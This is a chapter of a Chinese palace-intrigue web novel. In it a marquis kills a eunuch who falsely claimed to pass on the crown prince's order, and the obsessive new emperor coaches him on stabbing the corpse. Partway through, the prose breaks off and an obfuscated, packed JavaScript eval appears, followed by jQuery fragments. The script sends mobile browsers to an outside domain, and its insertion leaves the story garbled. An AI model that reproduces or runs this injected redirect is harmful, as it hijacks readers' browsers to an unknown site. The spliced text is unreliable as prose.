登基大典过后,京城连日的风雪竟渐渐歇了,缟素白幡撤去,倒颇有一番太平气象。
在宫苑里的这段时日,江鹤汀过得愈发清闲惬意起来。
他曾试探着问过越珩,何时能出宫回府,偏每次都撞上越珩心绪不佳的时候。不过话没问出结果,转天却总有各式奇珍送进偏殿。
次数多了,他反倒不敢再问。再开口,倒像是故意讨要赏赐似的,心底总感觉有些不自在。
索性得过且过,暂时不再去想那么多。
临近正午,江鹤汀从软榻上懒懒起身。刚一落座,谁知送膳的小内侍脚下踉跄,竟直直朝他撞来。
那内侍跪倒,额头抵着地砖不住地磕:“奴该死!惊扰到了侯爷!还请侯爷恕罪!”
江鹤汀捏紧划入袖中的纸条,目光扫过这人慌张的眉眼,不动声色记下。
淡淡挥手:“无妨,下去吧。”
旁边领事忙上前,一边千恩万谢,一边扯着那内侍退了出去,嘴里低声骂道:“若非侯爷心善,今儿定要扒了你的皮……”
这番吵闹过后,他低头继续用膳,汤匙碰着瓷碗,叮当轻响。
瞧不出半分异样。
膳后照旧歪在软榻上,看些话本游记,字里行间满是水乡的杏花春雨。
地龙蒸腾的暖意里,混着案上簇簇鲜花的清香,静谧得让人发困。
瓜子见他看得入神,便领着旁人轻手轻脚退了出去,连殿门都掩得极轻,只留一线缝隙透气。
四下无人,展开纸条。
被裁成小块的素白宣纸上,印着枚朱红印鉴,正是太子的私印。
他捻着纸条,眸光微沉。
仿佛嗅到了白梅上带着的雪气。
缓步穿过几重回廊,往宫苑最僻静的梅林深处走去。寒风卷着残雪掠过枝头,梅林尽头的假山后,似早有人影在等候。
“少詹士大人。”
一声称呼从风里飘来。
久违的称呼,久到好似是上一世般,其中藏着提醒,更裹着若有若无的威胁。
江鹤汀停下脚步,目光落在假山后的阴暗处,“既约了见面,怎么藏头露尾的?”
假山后转出个人来,青灰内侍服洗得发白,裤脚沾着泥雪,瞧着平平无奇,真如宫苑里随处可见的洒扫杂役。
可他抬头时,眉骨微扬,眼底那点藏不住的倨傲,瞬间划破了平庸的伪装。
“太子有旨。”他垂手而立,声音不高,却带着不容置疑的硬气,“请您听命。”
江鹤汀闻言轻笑出声,折下枝沾雪的白梅,凑到鼻尖轻嗅:“命我毒杀新帝?太子若知晓你假传旨意,怕是会先摘了你的脑袋。”
越珺便是走时没带他,也绝不会派下这等必死的差事。
梅香清冽,他嘲弄道:“让我猜猜,你是想借我的手,为谁报仇呢?”
那人显然没料到他居然能看透,脸色霎时涨红,先前的倨傲散了大半,只剩下气急败坏,“别为自己的怯懦找借口!少詹士大人,难道忘了这些年太子是如何照拂你的?这般忘恩负义,与那乱臣贼子何异!”
“就不怕我命人拿了你交给陛下吗?”
梅枝在指尖转了半圈,江鹤汀眼尾扫过那人,神色中满是责备。
好端端的平静日子,为什么偏要来打破呢。
那人反倒挺了挺脊背,眼底闪过狡黠:“你不会的。”
他声音压得更低,却字字如针,“我若一口咬定你我同谋,你以为越珩会信你?他留着你这太子亲信在身边,究竟存着什么心思,你当真清楚?”
“清不清楚,明不明白,又能如何。”江鹤汀衣袍扫过积雪,缓步上前绕开他,往另一株梅树走去。
“你神气什么?不过就是个出卖色……”那人语气越发轻蔑,污言秽语刚到嘴边,却戛然而止,再也没有机会说完。
“你瞧你,急什么。”
枝桠轻颤间,一点鲜红骤然飞溅,泼在皑皑白雪上。
方才还嚣张的身影,已无声软倒在雪地里。
温热的血珠坠在睫羽,落下划出一道艳痕。江鹤汀立在梅间雪里,眸色静淡无波,唇角依旧挂着那抹嘲弄的笑意。
他手腕轻扬,将匕首掷在雪地里,掏出丝帕,慢条斯理地擦拭掌心血迹。
好令人生气啊。
居然连哄骗他都吝于多费些心思,这般粗浅拙劣的谎言,就认为他能够入套为其所用。
在这些人眼里,他究竟是何等愚蠢,才会踏入这等一目了然的陷阱。
好气!
梅林外面忽然传来轻响,是积雪被踩碎的动静。
越珩不知立在那里看了多久,心尖像是被什么轻轻撞了下,眼底尽是痴迷。
这世间怎么会有这样的人,纵使杀人,也仍是姿态容雅。
江鹤汀循声转头时,眸中静淡瞬间破碎,脸颊那道血痕还未干,为他添了些许明艳的狼狈。
他下意识后退半步,声音带着急切:“是他……他先逼我杀你的。”
靴底碾过积雪,越珩缓步走近。
“这样的事,没必要脏了你的手。”话虽温和,带着一丝不易察的喟叹,但其实心底的兴奋,却早已翻涌不止。
素日里纤尘不染的人,竟会为他堕入凡间,杀人染血。
抬手为他拭去颊边血痕。
越珩很高兴。
俯身捡回雪地里的匕首,越珩从身后环住江鹤汀,两人一同蹲在尸体旁。他握着江鹤汀的手,将匕首缓缓刺向尸体要害,就像是当年教授篆刻时一样。
“下次捅这里,血就不会溅到身上了。”
这次的动作放的很慢,江鹤汀细细地感受到了利刃入肉的滞涩感。
寒风卷着落梅与浮雪扑来,被人稳稳挡在了身后。
“这匕首太钝。”越珩伸手扶他起身,掌心温热,“回去送你柄更趁手的,贴身带着防身。”
江鹤汀扯了扯唇角,语气带点说笑的试探:“陛下就不怕,臣哪日一时糊涂,会伤错了人吗?”
话中所指,明晃晃地没有任何遮掩。
“你的安全,更要紧些。”越珩为他拂去肩头白霜。
今日之举,是压抑许久迸发的冲动,也是一次浅尝辄止的试探。
结果虽合心意,但江鹤汀却有些笑不出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279440|182490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
天地皆白,越珩的轮廓在其中愈发清晰。
这份纵容,似乎已越出君臣之界。
江鹤汀不懂,于是他选择询问系统。
系统从休眠中被唤醒,自信地侃侃而谈道:“你想想,从小到大,他在宫里过得是什么苦日子。也就跟你能勉强算得上是知己好友,当然超过君臣之谊了啊。
你们可是好友!是知己!”
好不容易逮到机会,系统又颇为得意地道:“哼哼,你看看,都是我的功劳,送你回去提前刷好感,救了你的命吧。”
江鹤汀颔首,觉得此话有理。
将手中那支白梅递了过去,“赠与陛下,以作回礼。”
知己相交,折梅相赠。
雅,大雅。
这般清贵情致,君臣相宜的佳话,史官应速速记下,载入史册,好让他娘在后世以他为傲。
越珩低头接过,冷香浸骨而来。
分不清是梅?是雪?还是身旁人。
寒风过梅林,两人并肩往崇安宫去。
这一路,雪地里脚印深浅交叠,难分彼此。
徐砚浸淫宫廷多年,一眼便从血痕溅落的位置,瞧出端倪来。这次动手的,竟是素来清雅的荣安侯。
再看两人从容的模样。
啧,确实般配。
江鹤汀将传信的内侍指认出来,越珩即刻吩咐人前去处置。
待诸事安排完毕,江鹤汀转身要去沐浴更衣,回头时正见越珩心情极好,亲手取了细瓷瓶,细细将那支白梅插好,面上似乎还带着浅淡笑意。
他心念一动,又问:“臣明日能出宫回府小住吗?”
此番他也算钓鱼成功,顺藤摸瓜应当能查出不少人,该同意了吧。
越珩闻言转身,眉头已锁成死结,眸底翻涌着难忍的阴翳。
望着江鹤汀眼底那雀跃的期待,终究还是从齿缝里挤出话来:“只准待一夜,暗处还藏着许多未清的虫豸,多待一刻便是多一分危险。
所以,你要早些回来。”
……
不安全的人,怎么想都不该是他吧。
江鹤汀不解,但还是应了下来。
待身影消失在殿门外,烛火摇曳间,越珩的神情被遮掩,无意识地摩挲着瓶中梅枝,指腹碾过冰凉的花瓣,撷取了渗出的汁液送入口中。
是涩的。
“他为什么总想着出去呢,是这宫里,有哪里不够好吗?”
徐砚后背沁出冷汗,这话答不好便是掉脑袋的事。他忙躬身道:“侯爷许是还未住惯,由奢入俭难,等回府挨过一夜清寒,自然就知晓宫里的好。”
“是了,他本就喜好享乐,现在体会过更好的,再回去可怎么受得了呢。”越珩将瓷瓶摆正,字字发沉吩咐道:“去把他卧房的地龙毁了。”
如此这般,落日之前,人就该回来了。
“诺。”
徐砚即刻前去安排。
只要不扯到他伺候不周,其余的怎样都好,至于荣安侯府的地龙,唉,往后原也难再用上了。
越珩浮出几分得意,沉浸在自己绝妙的主意当中。